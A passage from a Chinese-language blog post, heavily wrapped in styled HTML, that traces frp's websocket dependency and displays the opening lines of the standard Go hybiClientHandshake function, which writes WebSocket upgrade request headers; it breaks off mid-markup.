Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Websocket依赖修改</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">跟进frp源码，我们可以到websocket依赖包 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">hybi</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>文件下的hybiClientHandshake函数。</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(247, 243, 247);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">func hybiClientHandshake</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> br </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bufio</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Reader</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> bw </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bufio</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Writer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">err error</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    bw</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">WriteString</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;GET &#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Location</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">RequestURI</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34; HTTP/1.1\r\n&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(90, 123, 140);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// According to RFC 6874, an HTTP client, proxy, or other</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(90, 123, 140);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// intermediary must remove any IPv6 zone identifier attached</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(90, 123, 140);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// to an outgoing URI.</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    bw</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">WriteString</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Host: &#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> removeZone</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Location</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Host</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\r\n&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    bw</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">WriteString</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Upgrade: websocket\r\n&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    bw</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">WriteString</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Connection: Upgrade\r\n&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    nonce </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> generateNonce</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">handshakeData </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        nonce </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]</span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">byte</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">handshakeData</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;key&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">])</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    bw</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">WriteString</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Sec-WebSocket-Key: &#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nonce</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\r\n&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    bw</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">WriteString</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;Origin: &#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> strings</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ToLower</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">config</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Origin</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">())</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\r\n&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">...</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: 